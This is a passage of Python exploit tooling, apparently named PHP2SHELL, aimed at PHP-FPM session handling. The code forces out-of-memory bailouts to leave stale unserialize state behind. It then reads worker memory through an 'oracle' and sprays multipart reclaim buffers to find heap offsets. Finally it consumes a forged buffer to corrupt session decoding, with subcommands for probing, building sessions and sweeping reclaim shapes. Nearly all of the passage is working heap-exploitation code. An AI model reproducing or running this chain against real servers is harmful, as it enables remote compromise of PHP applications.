return int(meta["bg_unserialize_data_off"]), \
int(meta["bg_unserialize_level_off"])
return BG_UNSERIALIZE_DATA_OFF, BG_UNSERIALIZE_LEVEL_OFF
def _probe_cover(chain404: Target, oracle: Oracle, d: int, need: int,
size: int = 12288,
pads: list[int] | tuple[int, ...] = (4096, 4096, 4096)
) -> int | None:
"""Land a patterned reclaim buffer (pads + one big field) over d
against a 404 endpoint, scan the mem chunk for the unique marker, and
return the content offset K such that buffer+K == d."""
chunk = oracle.chunk_base(d)
if chunk is None:
return None
# Unique marker: the heap retains freed buffer contents across requests,
# so a fixed marker could match a stale copy from a previous run.
marker = b"MK" + os.urandom(6)
content = bytearray(b"\x00" * size)
content[0:8] = marker
parts = [{"name": f"pad{i}", "data": b"C" * pad}
for i, pad in enumerate(pads)]
parts.append({"name": "big", "data": bytes(content)})
chain404.post_multipart(parts, b"PRBLAND1")
oracle.refresh()
data = oracle.read(chunk, MEM_CHUNK)
hits, idx = [], 0
while True:
pos = data.find(marker, idx)
if pos < 0:
break
hits.append(pos)
idx = pos + 1
d_off = d - chunk
cover = [h for h in hits if h <= d_off and d_off + need <= h + size]
if os.environ.get("PHP2SHELL_DEBUG"):
print(f"[debug] d={d:#x} chunk={chunk:#x} d_off={d_off:#x} "
f"need={need:#x} size={size:#x} hits={[hex(h) for h in hits]} "
f"cover={[hex(h) for h in cover]}")
if not cover:
print(f"[!] no covering reclaim buffer (hits={[hex(h) for h in hits]})")
return None
k = d_off - cover[0]
print(f"[*] d=0x{d:x} reclaim covers d at content off {k:#x}")
return k
def _rebuild_ref_and_arm(base: Target, builder: Target, oracle: Oracle,
oom_size: int) -> int:
"""Rebuild the ref session (a failed consume saves the corrupted decode
back to the file), re-arm the stale state, and return the re-armed d."""
ref_session_post(builder, REF_SID)
return _arm_stale(base, builder, oracle, oom_size)
def _consume_b(chainapp: Target, forged: bytes,
pads: list[int] | tuple[int, ...] = (4096, 4096, 4096)
) -> tuple[int, dict[str, str], bytes]:
"""Consume with the forged reclaim buffer.
Consumer B MUST carry the PHP_SESSION_UPLOAD_PROGRESS field and a file
part: rfc1867 has to fire the pre-RINIT session_start, otherwise the
decode would run post-RINIT against a memset BG(unserialize)."""
parts = [{"name": f"pad{i}", "data": b"C" * pad}
for i, pad in enumerate(pads)]
parts.append({"name": "big", "data": forged})
parts.append({"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"})
parts.append({"name": "f", "filename": "a.txt", "data": b"x" * 8})
status, headers, body = chainapp.post_multipart(parts, b"CONSUME01",
cookie=_cookie(REF_SID))
print(f"[*] consumer status={status}")
return status, headers, body
# --------------------------------------------------------------------------- #
# subcommands
# --------------------------------------------------------------------------- #
def cmd_lifecycle(args) -> int:
chain = Target(args.base)
version = args.version
worker = find_pool_worker(version, "chain")
print(f"[*] chain worker before: {worker}")
# pre-RINIT OOM: big multipart POST to index.php (no session, body parse
# happens inside php_request_startup -> bailout -> FPM_EXIT_SOFTWARE)
parts = [{"name": f"p{i:04d}", "data": b"V" * (1 << 20)} for i in range(10)]
status, _h, body = chain.post_multipart(parts, b"PRERINIT1", timeout=60.0)
time.sleep(0.4)
worker2 = find_pool_worker(version, "chain")
print(f"[A] pre-RINIT OOM: status={status} worker {worker} -> {worker2} "
f"({'DIED' if worker != worker2 else 'survived'}) body={body[:60]!r}")
# post-RINIT OOM: producer (needs a big session; build one if missing)
if not os.path.isfile(session_file(version, OOM_SID)):
builder = builder_target(args.builder)
print("[*] building oom session (4MB) ...")
big_session_post(builder, OOM_SID, 4 << 20)
worker3 = find_pool_worker(version, "chain")
status, body = producer_get(chain, OOM_SID)
time.sleep(0.2)
worker4 = find_pool_worker(version, "chain")
print(f"[B] post-RINIT OOM: status={status} worker {worker3} -> {worker4} "
f"({'DIED' if worker3 != worker4 else 'survived'})")
print(f" body head: {body[:120]!r}")
return 0
def cmd_oracle(args) -> int:
oracle = Oracle(args.version, pool="chain")
oracle.dump()
return 0
def cmd_build_oom(args) -> int:
builder = builder_target(args.builder)
sid = args.sid.encode("latin1")
status, _body = big_session_post(builder, sid, args.size)
path = session_file(args.version, sid)
size = os.path.getsize(path) if os.path.isfile(path) else -1
print(f"builder status={status} session_file={path} size={size}")
return 0 if size > args.size else 1
def cmd_build_ref(args) -> int:
builder = builder_target(args.builder)
sid = REF_SID
status, body = ref_session_post(builder, sid)
path = session_file(args.version, sid)
content = b""
if os.path.isfile(path):
with open(path, "rb") as handle:
content = handle.read()
print(f"builder status={status} body={body[:40]!r}")
print(f"session_file={path} content={content!r}")
return 0 if b"R:2" in content else 1
def cmd_producer(args) -> int:
chain = Target(args.base)
sid = args.sid.encode("latin1")
before = find_pool_worker(args.version, "chain")
status, _headers, body = chain.get(PATHS["app"], cookie=_cookie(sid))
time.sleep(0.2)
after = find_pool_worker(args.version, "chain")
print(f"producer status={status} worker {before} -> {after} "
f"({'DIED' if before != after else 'survived'})")
print(f"body: {body[:160]!r}")
if args.oracle and before == after and before:
oracle = Oracle(args.version)
print(f"BG.data=0x{oracle.unserialize_data():x} "
f"level={oracle.unserialize_level()}")
return 0
def _hexdump(data: bytes, base: int, limit: int = 96) -> str:
lines = []
for off in range(0, min(len(data), limit), 16):
chunk = data[off:off + 16]
hexs = " ".join(f"{b:02x}" for b in chunk)
lines.append(f" 0x{base + off:012x} {hexs}")
return "\n".join(lines)
def cmd_reclaim_probe(args) -> int:
chain = Target(args.base)
builder = builder_target(args.builder)
oracle = Oracle(args.version)
pads = ([int(x) for x in args.sweep.split(",")] if args.sweep
else [args.pad])
for pad in pads:
# The producer OOM runs php_session_cancel_decode -> session_destroy,
# which UNLINKS the OOM session file: rebuild it every iteration.
big_session_post(builder, OOM_SID, args.size)
producer_get(chain, OOM_SID)
d = oracle.unserialize_data()
level = oracle.unserialize_level()
if not d or level != 1:
print(f"[!] pad={pad}: stale state not armed (d=0x{d:x} level={level})")
continue
marker = b"PAT" + f"{pad:05d}".encode() + b"!" * 5
big_value = (marker + b"Q" * 8214)[:8214]
filename = (marker + b"Q" * 8214)[:8214]
for shape in ("field", "filename", "field-first"):
# No PHPSESSID cookie and no progress field: B must NOT decode a
# session (a garbage forged struct would crash var_push). The
# reclaim allocations happen inside rfc1867 during request
# startup; app.php then starts a fresh empty session (no decode).
if shape == "field":
parts: list[dict] = []
if pad:
parts.append({"name": "pad", "data": b"C" * pad})
parts.append({"name": "big", "data": big_value})
elif shape == "filename":
parts = [{"name": "N" * 64, "filename": filename, "data": b"x" * 8}]
else:
parts = []
if pad:
parts.append({"name": "pad", "data": b"C" * pad})
parts.append({"name": "big", "data": big_value})
parts.append({"name": "N" * 64, "filename": b"f.bin", "data": b"x" * 8})
chain.post_multipart(parts, b"PROBE16BB", timeout=60.0)
try:
region = oracle.read(d, 96)
except OSError as exc:
print(f"[!] pad={pad} shape={shape}: read d failed: {exc}")
oracle = Oracle(args.version)
continue
hit = marker[:8] in region
print(f"[*] pad={pad} shape={shape:11} d=0x{d:x} "
f"level={oracle.unserialize_level()} hit={'YES' if hit else 'no'}")
if hit:
print(_hexdump(region, d))
return 0
def _forged_benign(param_addr: int) -> bytes: